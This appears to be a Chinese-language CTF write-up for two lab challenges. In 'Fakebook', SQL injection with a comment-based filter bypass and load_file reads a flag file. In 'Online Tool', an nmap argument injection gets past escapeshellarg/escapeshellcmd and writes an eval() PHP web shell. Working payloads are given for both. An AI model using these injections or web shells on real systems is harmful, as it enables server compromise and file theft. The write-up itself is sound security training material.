[网鼎杯 2018]Fakebook1
启动靶机,发现fakebook
看到两个功能点 login和join
打开login,随便输入几个弱口令
均显示错误,还是先注册一个吧,点击join
注册成功,点击zhangsan
发现?no=1 。感觉存在sql注入,测试一下:
?no=1'
报错了,回显中只有三个引号,所以应该是数字型注入
order by 测列数
?no=1 order by 4
当值为5时发现报错,所以是存在4列
union select 查回显点
?no=-1 union select 1,2,3,4
看来有检测,尝试/**/绕过
?no=-1 union/**/select 1,2,3,4
发现username处有回显,且回显值为第二个字段。开始注入。
flag 一般放在/flag或者/var/www/html/flag.php, 先尝试一下读文件
?no=-1 union/**/select 1,load_file("/flag"),3,4
username回显为空,查看源代码也没什么发现,那再看看/var/www/html/flag.php是否存在
?no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
也是空,右键查看源代码
拿到flag flag{c6b824bb-f42e-4ee3-95af-35a4d88d209f}
这种方法运气占主导,看了看大佬的wp,使用的是sql注入+反序列化,感兴趣可以看一下。
[BUUCTF 2018]Online Tool1
启动靶机
代码审计,整体的意思就是输入host(ip地址),然后进行nmap扫描,前面几个参数没见过,查了查:
$_SERVER 可以获取服务器和执行环境信息
HTTP_X_FORWARDED_FOR HTTP扩展头部,用来表示http请求端真实ip
REMOTE_ADDR代表客户端的IP。
还不知道这几个参数有什么用,继续审计,下面就是GET传一个叫host的参数,而且host会与nmap拼接,感觉这里会存在命令执行漏洞,百度一下,发现nmap可以直接写马
构造payload: 引号绕过 escapeshellarg()和escapeshellcmd()
?host='<?php eval($_POST[1]);?> -oG shell.php ’
回显了路径,访问一下
发现没有报错信息,复制url,蚁剑连接
拿到flag flag{9e867599-c834-463b-b839-7a601cca8660}